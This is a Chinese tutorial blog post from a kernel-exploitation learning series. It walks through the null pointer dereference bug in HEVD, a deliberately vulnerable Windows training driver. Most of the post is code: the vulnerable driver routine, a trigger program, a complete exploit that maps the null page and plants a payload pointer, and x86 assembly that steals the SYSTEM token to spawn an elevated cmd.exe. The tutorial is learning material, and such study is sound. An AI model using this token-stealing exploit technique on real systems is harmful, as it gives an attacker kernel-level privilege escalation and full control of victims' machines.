内核漏洞学习-HEVD-NullPointerDereference

VSole2022-01-11 16:35:20

概述

HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习。

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

前置知识

指针的三种错误使用:

1、由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露

2、野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。

3、Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。

总结

free(p)后:p仍然指向那块地址,但是地址被释放,回归给系统,指针仍然可以使用,可以利用池喷射,去多次申请内昆空间,撞这个指针p指向的地址,改写这个地址内容,在调用p,执行自己写入的代码。

p=NULL 后:p 不指向任何内存地址,通常指向000 0页地址,通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。调用null指针,执行shellcode。

使用ntallocvirtualmemory 函数申请内存:NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs

漏洞点分析

空指针漏洞

此类漏洞利用主要集中在两种方式上:

1、利用NULL指针。

2、利用零页内存分配可用内存空间

(1)分析漏洞点

UserValue = *(PULONG)UserBuffer;从用户模式获取value的值,如果uservalue=magicvalue的值,向缓冲区赋值,并打印信息,反之则释放缓冲区,清空指针( NullPointerDereference = NULL;),之后,对于安全版本,对NullPointerDereference进行检查判断其是否被置空,非安全版本,未对NullPointerDereference进行检查判断,直接调用callback。

NTSTATUSTriggerNullPointerDereference(    _In_ PVOID UserBuffer){    ULONG UserValue = 0;    ULONG MagicValue = 0xBAD0B0B0;    NTSTATUS Status = STATUS_SUCCESS;    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;     PAGED_CODE();     __try    {        //        // Verify if the buffer resides in user mode        //         ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));         //        // Allocate Pool chunk        //         NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(            NonPagedPool,            sizeof(NULL_POINTER_DEREFERENCE),            (ULONG)POOL_TAG        );         if (!NullPointerDereference)        {            //            // Unable to allocate Pool chunk            //             DbgPrint("[-] Unable to allocate Pool chunk");             Status = STATUS_NO_MEMORY;            return Status;        }        else        {            DbgPrint("[+] Pool Tag: %s", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Type: %s", STRINGIFY(NonPagedPool));            DbgPrint("[+] Pool Size: 0x%X", sizeof(NULL_POINTER_DEREFERENCE));            DbgPrint("[+] Pool Chunk: 0x%p", NullPointerDereference);        }         //        // Get the value from user mode        //         UserValue = *(PULONG)UserBuffer;         DbgPrint("[+] UserValue: 0x%p", UserValue);        DbgPrint("[+] NullPointerDereference: 0x%p", NullPointerDereference);         //        // Validate the magic value        //         if (UserValue == MagicValue)        {            NullPointerDereference->Value = UserValue;            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;             DbgPrint("[+] NullPointerDereference->Value: 0x%p", NullPointerDereference->Value);            DbgPrint("[+] NullPointerDereference->Callback: 0x%p", NullPointerDereference->Callback);        }        else        {            DbgPrint("[+] Freeing NullPointerDereference Object");            DbgPrint("[+] Pool Tag: %s", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Chunk: 0x%p", NullPointerDereference);             //            // Free the allocated Pool chunk            //             ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);             //            // Set to NULL to avoid dangling pointer            //             NullPointerDereference = NULL;        } #ifdef SECURE        //        // Secure Note: This is secure because the developer is checking if        // 'NullPointerDereference' is not NULL before calling the callback function        //         if (NullPointerDereference)        {            NullPointerDereference->Callback();        }#else        DbgPrint("[+] Triggering Null Pointer Dereference");         //        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability        // because the developer is not validating if 'NullPointerDereference' is NULL        // before calling the callback function        //         NullPointerDereference->Callback();#endif    }    __except (EXCEPTION_EXECUTE_HANDLER)    {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X", Status);    }     return Status;}

漏洞利用

HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case。

HEVD_IOCTL_NULL_POINTER_DEREFERENCE:DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******");Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******");break;

NullPointerDereferenceIoctlHandler函数调用TriggerNullPointerDereference触发漏洞。

NTSTATUSNullPointerDereferenceIoctlHandler(    _In_ PIRP Irp,    _In_ PIO_STACK_LOCATION IrpSp){    PVOID UserBuffer = NULL;    NTSTATUS Status = STATUS_UNSUCCESSFUL;     UNREFERENCED_PARAMETER(Irp);    PAGED_CODE();     UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;     if (UserBuffer)    {        Status = TriggerNullPointerDereference(UserBuffer);    }     return Status;}

(1)测试

#include#includeHANDLE hDevice = NULL; #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)int main(){     hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL        );    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[-]failed to get device handle !");        return FALSE;     }    printf("[+]success to get device  handle");     if (hDevice) {         DWORD bReturn = 0;        char buf[4] = { 0 };        *(PDWORD32)(buf) = 0x12345678;         DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);    }   }

当我们传入值与MagicValue值不匹配时,则会触发漏洞。

因为uservalue=0xBAD0B0B0,所以打印出信息。

(2)漏洞利用

官方给出的方法也是利用NtAllocateVirtualMemory函数,在0页申请内存。

该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐,所以SIZE_T RegionSize = 0x1000;

BOOL MapNullPage() {    HMODULE hNtdll;    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host                                           // page size address boundary -> 0x2000PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host                                       // page size address boundary -> 0x00000000NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hNtdll = GetModuleHandle("ntdll.dll"); // Grab the address of NtAllocateVirtualMemoryNtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) {    DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X", GetLastError());    exit(EXIT_FAILURE);} // Allocate the Virtual memoryNtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,                                   &BaseAddress,                                   0,                                   &RegionSize,                                   MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,                                   PAGE_EXECUTE_READWRITE); if (NtStatus != STATUS_SUCCESS) {    DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x", NtStatus);    exit(EXIT_FAILURE);}else {    DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p", BaseAddress);    DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X", RegionSize);} FreeLibrary(hNtdll); return TRUE;

申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处,使传入值与MagicValue值不匹配,触发漏洞。

ULONG MagicValue = 0xBAADF00D;     PVOID EopPayload = &TokenStealingPayloadWin7Generic;__try {        // Get the device handle        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle");        DEBUG_INFO("\t\t[+] Device Name: %s", FileName);         hFile = GetDeviceHandle(FileName);         if (hFile == INVALID_HANDLE_VALUE) {            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X", GetLastError());            exit(EXIT_FAILURE);        }        else {            DEBUG_INFO("\t\t[+] Device Handle: 0x%X", hFile);        }         DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage");         DEBUG_INFO("\t\t[+] Mapping Null Page");         if (!MapNullPage()) {            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X", GetLastError());            exit(EXIT_FAILURE);        }         DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout");         NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4);         // Now set the function pointer        *(PULONG)NullPointerPlus4 = (ULONG)EopPayload;         DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p", *(PULONG)NullPointerPlus4);        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p", NullPointerPlus4);         DEBUG_INFO("\t\t[+] EoP Payload: 0x%p", EopPayload);         DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference");         OutputDebugString("****************Kernel Mode****************");         DeviceIoControl(hFile,                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,                        (LPVOID)&MagicValue,                        0,                        NULL,                        0,                        &BytesReturned,                        NULL);         OutputDebugString("****************Kernel Mode****************");    }    __except (EXCEPTION_EXECUTE_HANDLER) {        DEBUG_ERROR("\t\t[-] Exception: 0x%X", GetLastError());        exit(EXIT_FAILURE);    }     return EXIT_SUCCESS;}

exp,可供参考

#include#include#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)   typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory1)(    IN HANDLE ProcessHandle,    IN OUT PVOID* BaseAddress,    IN ULONG ZeroBits,    IN OUT PULONG RegionSize,    IN ULONG AllocationType,    IN ULONG Protect);NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL;  HANDLE hDevice = NULL;  static VOID payload(){    _asm    {        //.....    }} int main(){    //获得device  handle    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",        GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL);     printf("[+]Start to get handle ");    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[+]Failed to get HANDLE!!!");        system("pause");        return 0;    }    printf("[+]Success to get handle");     DWORD aReturn = 0;    char buf[4] = { 0 };    *(PDWORD32)(buf) = 0x123456789;//触发漏洞    //申请0页内存     (FARPROC*)NtAllocateVirtualMemory = GetProcAddress(        GetModuleHandleW(L"ntdll"),        "NtAllocateVirtualMemory");    if (NtAllocateVirtualMemory == NULL)    {        printf("[-]Failed to get NtAllocateVirtualMemory address ");        system("pause");        return 0;    }    else    printf("[+]success to get  NtAllocateVirtualMemory address ");    PVOID basedaress = (PVOID)1;    SIZE_T allockSize = 0x1000;    NTSTATUS status= NtAllocateVirtualMemory(        INVALID_HANDLE_VALUE,        &basedaress,        0,        &allockSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE);    if(status<0)     {        printf("[-]NtAllocateVirtualMemory write failed");        system("pause");        return 0;    }     printf("[+]NtAllocateVirtualMemory write success ");    *(DWORD*)(0x4) = (DWORD)&payload;       //调用TriggerNullPointerDereference函数    DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &aReturn, NULL);    //提权启动cmd     printf("[+]Start to Create cmd...");    STARTUPINFO si = { sizeof(si) };    PROCESS_INFORMATION pi = { 0 };    si.dwFlags = STARTF_USESHOWWINDOW;    si.wShowWindow = SW_SHOW;    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);     system("pause");     return 0;}

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。

相关内核结构体:在内核模式下,fs:[0]指向KPCR结构体。

_KPCR+0x120 PrcbData         : _KPRCB_KPRCB+0x004 CurrentThread    : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体_KTHREAD+0x040 ApcState         : _KAPC_STATE_KAPC_STATE+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体_EPROCESS   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID,系统进程ID=0x04   +0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程   +0x0f8 Token            : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限

payload:注意堆栈平衡问题。

 __asm {        pushad                               ; Save registers state         ; Start of Token Stealing Stub        xor eax, eax                         ; Set ZERO        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread                                             ; _KTHREAD is located at FS:[0x124]         mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process         mov ecx, eax                         ; Copy current process _EPROCESS structure         mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4         SearchSystemPID:            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink            sub eax, FLINK_OFFSET            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId            jne SearchSystemPID         mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token                                             ; with SYSTEM process nt!_EPROCESS.Token        ; End of Token Stealing Stub         popad                                ; Restore registers state    }}

运行exp提权成功:

指针printf
本作品采用《CC 协议》,转载必须注明作者和本文链接
HOOK技术实战
2021-10-19 05:55:56
对于Windows系统,它是建立在事件驱动机制上的,说白了就是整个系统都是通过消息传递实现的。hook(钩子)是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理。所以说,我们可以在系统中自定义钩子,用来监视系统中特定事件的发生,完成特定功能,如屏幕取词,监视日志,截获键盘、鼠标输入等等。
干货 | HOOK技术实战
2021-10-16 10:09:27
基础知识对于Windows系统,它是建立在事件驱动机制上的,说白了就是整个系统都是通过消息传递实现的。钩子可以分为线程钩子和系统钩子,线程钩子可以监视指定线程的事件消息,系统钩子监视系统中的所有线程的事件消息。当前钩子处理结束后应把钩子信息传递给下一个钩子函数。PE头是固定不变的,位于DOS头部中e_ifanew字段指出位置。
从代码视角来分析漏洞问题
堆、UAF之PWN从实验到原理
在该程序中只需要判断x=4即可获得系统shell。查看发现x的值为3,同时得到x的地址为0x804A02C在printf函数中的参数可控 于是可能存在格式化字符漏洞,利用字符串漏洞重写x的值。输入的字符串会存储进入栈内,然后printf函数使用输入的内容作为格式化字符串进行控制输出。输入多个%p打印栈上的内容判断输入的数据在栈上离栈顶的偏移。构造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%pfrom pwn import *p=remoteadrr=p32PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline. p.interactive()可以计算该偏移量为11。
UAF漏洞全称为use after free,即释放后重用。
前言在PE文件中,存在iat导入表,记录了PE文件使用的API以及相关的dll模块。可以看到使用了MessageBox这个API杀软会对导入表进行查杀,如果发现存在恶意的API,比如VirtualAlloc,CreateThread等,就会认为文件是一个恶意文件。自定义API函数FARPROC GetProcAddress;定义:typedef int ();HMODULE LoadLibraryA; // 成功返回句柄 失败返回NULL. 这里GetModuleHandle和LoadLibrary作用是一样的,获取dll文件。HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );printf; pMessageBox MyMessageBox = GetProcAddress; MyMessageBox; return 0;}. 程序可以正常运行:查看其导入表:User32.dll和MessageBox都不存在。实战测试用创建进程的方式加载shellcode。
EXP编写学习之绕过GS
2023-02-20 09:58:16
栈中的守护天使 :GSGS原理向栈内压入一个随机的DWORD值,这个随机数被称为canary ,IDA称为 Security Cookie。Security Cookie 放入 ebp前,并且data节中存放一个 Security Cookie的副本。栈中发生溢出时,Security Cookie首先被淹没,之后才是ebp和返回地址。函数返回之前,会添加一个Security Cookie验证操作,称为Security Check。检测到溢出时,系统将进入异常处理流程,函数不会正常返回,ret也不会被执行。函数使用无保护的关键字标记。缓冲区不是8字节类型 且 大小不大于4个字节。可以为函数强制启用GS。
PWN 堆利用 unlink 学习笔记
VSole
网络安全专家